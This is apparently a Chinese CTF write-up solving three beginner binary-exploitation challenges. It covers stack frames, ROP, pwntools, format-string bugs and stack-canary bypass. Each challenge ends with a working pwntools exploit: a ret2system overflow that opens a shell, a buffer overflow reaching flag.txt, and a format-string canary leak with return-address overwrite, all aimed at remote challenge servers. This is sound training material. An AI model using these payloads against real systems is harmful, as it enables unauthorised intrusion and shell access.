三道入门难度的PWN题,由蓝鲸安全平台提供。

题目地址:https://pan.baidu.com/s/1X24ERGRhAx_Odnqap5xbFg

目录

  1. 背景一
    1. 函数栈帧
    2. ROP
    3. Pwntools基本操作
    4. 题目解析
  2. 背景二
    1. 格式化字符串
    2. 题目解析
  3. 背景三
    1. 格式化字符串
    2. Canary保护
    3. 题目解析
  4. 总结

背景一

level2x86的知识点:函数栈帧,rop,pwntools

函数栈帧

  • 栈:一种数据结构,具有先进后出的属性,在计算机中,有着许多段以栈形式管理的动态内存,因此,把计算机内的这一段也称为栈;
  • ESP:指向栈顶的指针;
  • EBP:栈的基址指针;

几乎所有函数被调用时,会在相应栈内形成一段固定的结构,那么我们来看一下函数调用时的汇编代码:

  • CALL func时push一个返回地址(汇编CALL func的下一行);
  • 向栈中保存上一个函数的ebp,并且设定新的ebp;
  • 开辟0x88的空间给被调用函数使用,也就是局部变量;

在调用函数前,函数会先push被调用函数所需参数,注意 这时参数入栈的顺序;

  • 所以,只要我们控制了函数的返回地址,就可以说,我们控制流函数的走向,让他运行我们想要的函数(例如system());
  • 也就是说,只要找到栈溢出点,我们便可以利用此函数的栈区域,伪造一个新的函数栈帧来利用;

ROP

  • Rop全称为:(Return Oriented Programming)可以理解为,函数的返回地址。因为在调用一个函数的时候需要返回正确的主函数下一条地址,所以进行编译的时候会将这个地址放入到一个内存中并利用ret指令返回存储的地址继续执行程序。
  • 面向返回的编程,攻击者从已有的库或可执行文件内提取可用的代码片段,组成一个ROP链,从而拼接出我们想要的功能,这些片段指令都是以ret为结尾,用ret指令实现执行流的衔接。

Pwntools基本操作

  • 使用模板:
1
2
3
4
5
from pwn import *
r = remote('服务器ip或域名', 端口号)
payload = '......'
r.sendline(payload)
r.interactive()
  • 常用模块
    • recv()用来接收服务器返回的信息,以字符串形式返回
    • recvuntil()用来控制条件,比如当接收到input字符串时再发送r.recvuntil('input') r.sendline(payload)
    • ELF() load elf文件例如:elf=ELF('/pwn')
      • elf.symbols[‘write’] 获取函数地址
      • elf.got[‘write’] 获取函数got表中的地址
      • elf.plt[‘write’] 获取函数plt表中的地址
    • p32()p64():以32或64位 打包(pack)一个整数,自动转化成小端序;
    • u32()u64():以32或64位 解包(unpack)一个整数;
    • shellcraft:各种写好的shell,例如shellcraft.sh()执行后可以达到system('/bin/sh')的效果;
    • asm():一般配合shellcraft或者自己手写的汇编,asm()后,汇编代码会变成符合标准的字节码,使用方式asm(shellcraft.sh())

题目解析

  • 首先checksec level2x86,发现如下结果:32位程序,开启了NX(堆栈不可执行),没开启ALSR(地址随机化),随后更换IDA分析。

  • 左侧函数栏找到main函数,双击进入vulnerable函数,F5查看伪代码,下面分别是main函数和vulnerable函数,其中vulnerable函数内有危险函数read,可以读入0x100长度的字符串;

  • 双击变量名查看字符串在站内的位置,在左边的函数列表里可以看到system()函数,同时搜索字符串后可以看到/bin/sh的存在;

image-20190120205838372

  • 已知buf在-0x88的位置,而返回地址在+0x4的位置,中间的空余的栈空间是需要被填满才能进而覆盖返回地址的,而read函数读取后是从-0x88处开始向栈内存储字符串,所以我们可以确定填充长度为0x88+0x4

脚本如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = remote('39.107.92.230', 10003)
elf = ELF('./level2x86')
sys_addr = elf.symbols['system'] #system函数地址
#print sys_addr
sh_addr = 0x804A024 #/bin/sh字符串地址
#0xdeadbeef为system('/bin/sh')函数执行后的返回地址,可以随意指定(主要是为了伪造函数栈帧)
payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
r.sendline(payload)
r.interactive()
  • 脚本的关键步骤为payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
    • 填充
    • 覆盖返回地址为system函数,此时为了达到call效果,伪造了函数栈帧(0xdeadbeef),此时0xdeadbeef就应为下一个我们希望执行的语句地址,在以后学习ROP链的时候进行组合。
    • 参数地址,也就是/bin/sh

参考连接:

http://docs.pwntools.com/en/stable/

背景二

police_academy的知识点:格式化字符串漏洞

格式化字符串

  • 格式化字符串说明:利用%..将要输出或者读取的内容进行格式填充,相当于将一个字符串中间留空,要输入什么内容我们可以在一个循环或者输出语句后面进行定义和重组;
  • 例如:printf("Hello %s", "world")将会把%s填充为后面加上的word;
  • 格式化说明符存在许多种不同的数据类型,可以利用不同的类型规定格式化字符串接受哪种类型的数据。
  • 常用的类型包括:
    • %d – 十进制 – 输出十进制整数
    • %s – 字符串 – 从内存中读取字符串
    • %x – 十六进制 – 输出十六进制数
    • %c – 字符 – 输出字符
    • %p – 指针 – 指针地址
    • %n – 到目前为止所写的字符数
  • 可能存在格式化字符串漏洞函数 – fprintf,printf,sprint,snprintf,scanf 等等
  • 举个例子说明一下

  • 这段代码将接受的字符串作为参数,创建一个1024字符缓冲区,接着将字符串复制到缓冲区,最后调用两个printf函数格式化输出。
  • printf的格式化字符串漏洞更多使用来定位我们需要的函数返回地址,当程序做了一些保护,例如动态加载敏感函数,而我们没有办法获取到该函数的返回地址的时候我们就可以用printf的格式化字符串来获取当前程序中执行的某个函数或者变量或者缓冲区的地址了;
  • 而其他的例如scanf的漏洞大多还是直接利用没有边界导致读取过多字符的漏洞来进行利用;

题目解析

  • 通过nc先连接地址进行测试,会让我们输入一个密码,随便输入一个提示错误;

  • 通过ida来逆向程序,非常简单的在一个strcmp函数中找到了密码比对的字符,也就是正确的密码。

  • 接下来我们通过这个密码登录后,选择一个编号后会输出对应的文件

  • 选择一个编号后会通过一个switch结构找到对应文件,并用print_record进行输出;
  • 文件名我们查询后是一个md5 加上.dat后缀名;
  • 而record函数中则会检测文件名的长度,要求必须是36位的长度(md5的32位加上4位后缀名)

  • 以上是题目的逻辑,那么该如何利用呢,也就是flag在哪呢,看到最后一个switch,它的v8flag.txt但是如果不够长也就是v9为0的话总是会提示我们没有权限;

  • 那么现在有一个思路,就是让文件名长到超过v8的存储范围覆盖到v9或者利用别的循环,将文件名填充为flag.txt。但是无论如何我么肯定需要利用某一块的漏洞进行溢出覆盖了。

  • 题目一共接收了两次我们的输入,都是利用scanf格式接受。第一次是在输入密码的时候,第二次是在输入编号的时候;

  • 通常我们选择靠近要覆盖地址的区域进行溢出,但是我们看到其中的格式,%s为接受字符串,但是%d只能接受数字,也就是说我们只能利用接受密码的变量s1了。
  • 那么接下来计算地址,我们要覆盖的变量为:v8,而利用参数为s1,看看他们内存中的存储地址:

  • s1为:-40~+10的位置
  • V8为:-30~+20的位置

  • 但这只是静态程序中的定义,我们不知道运行之后两个变量对应的堆栈也就是相对的ebp是否相邻,于是利用gdb进行动态调试后查看两个变量的位置;

  • 我们看到,他们的确相差0x10个字符,也就是16个字符;

  • 接下来进行溢出计算,首先密码是必须的,也就是s1必须填充kaiokenx20这10个字符,所以我们想准确的覆盖v8还需要填充6个字符;

  • 在覆盖v8的时候要记住,有文件名长度检查,也就是长度要符合36,但是flag并没有md5加密文件名,我们从第6个提示能看出来;

  • 所以利用14个./来填充 + Flag.txt

脚本如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = remote('39.107.92.230', 10004)

r.recvuntil('Enter password to authentic yourself : ')
r.sendline('kaiokenx20'+'A'*6+14*'./' + "flag.txt")

r.recvuntil(':')
r.sendline('8')

r.interactive()

背景三

binary_200知识点:格式化字符串漏洞,canary保护

格式化字符串

  • 接着上一道题,一般来说,每个函数的参数个数都是固定的,被调用的函数知道应该从内存中读取多少个变量,但printf是可变参数的函数,对可变参数的函数而言,一切就变模糊了。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道函数调用之前到底有多少参数被压入栈帧当中。所以printf函数要求出入一个format参数用以指定到底有多少,怎么样的参数被传入其中。然后它就会严格的按照函数的调用者传入的格式一个一个的打印出数据。由于编程者的疏忽,把格式化字符串的操纵权交给用户,就会产生后面任意地址读写的漏洞。
  • 示例程序:
1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 1;
}
  • 假设输入为:AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,发现输出的第7个数为41414141发现刚好是AAAA的ascii码,这也是我们输入的字符串开始的位置。

  • 堆栈中的数据也是这样子存储的。

  • Printf格式化字符串有另一个特性,$操作符,这个操作符可以输出指定位置的参数,而不需要多长输入格式标志了,这样我们直接输出了第6个位置的内存值;

  • 但是这里如果直接使用脚本来利用是有问题的。我们利用脚本来攻击这个程序

  • 当偏移为6的时候报了EOF的错

  • 我们想要读取的地址为0x08048000,因为是小端存储,我们发送的数据包第一个字节是地址最后一个字节也就是0x00所以发送失败了,所以需要增加一个偏移示意如下:

  • 成功读取地址

Canary保护

  • Canary是放置栈溢出的一种保护机制,从FS块内存的某个区域获取一个值存在栈中,类似于Cookie。当程序执行返回的时候,会对这个值进行校验,如果该值正确,程序正常执行返回,否则程序被判定为发生栈溢出,直接退出。
  • 为了防止发生信息泄露以及其他漏洞的利用,Canary使用\x00对值进行截断,所以Canary的最低byte位为\x00

  • 我们可以把padding部分全部覆盖掉,然后按byte覆盖Canary的值。如果程序正常运行,则该byte的Canary值正确;若程序退出,则继续爆破该位Canary的值。或者如果有格式化字符串则可以读取这个值了。

题目解析

  • 首先根据题目提示,看到了程序打开了保护,所以放到gdb中用checksec观察发现开启了CANNARY保护,那么也就需要找到canary的偏移位置了。

  • 在有printf格式化字符串的漏洞不需要去暴力破解canary,所以我们可以通过gdb找到格式化字符串与输入值的偏移。
  • 我们在printf上下断点(这时候能够看到我们输入的字符串在堆栈中的位置)

  • 接着运行函数,并输入一个简单值例如aaaa,并看到aaaa在堆栈的0xffffd020存入;

  • 接着我们看到了最后canary保护方式为:利用dex中获取的esp+3c的值与large gs:14h进行比较不相等则退出。那么我们就可以取出当前内存中的值(canary已经入栈)

  • x/20wx 0xffffd020

  • 接着重新下断点,我们去到最终比较的值(赋值给edx那里)获取这次canary的值找到edx中canary的值为:0x93226e00
  • 他们之间相差15个参数的长度,所以可以通过格式化字符串:%15$x获取这个值;

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('172.104.78.53', 22002)

func = 0x0804854d
r.sendline('%15$x')
canary = int(r.recv(), 16) #获取需要的canary的值

payload = 'A'*40 + p32(canary) + 'B'*12 + p32(func)

r.sendline(payload)
r.interactive()

总结

通过这简单的三道题,成功复习了缓冲区溢出和格式化字符串漏洞的相关知识,以及如何绕过缓冲区保护机制之一的(Canary机制)。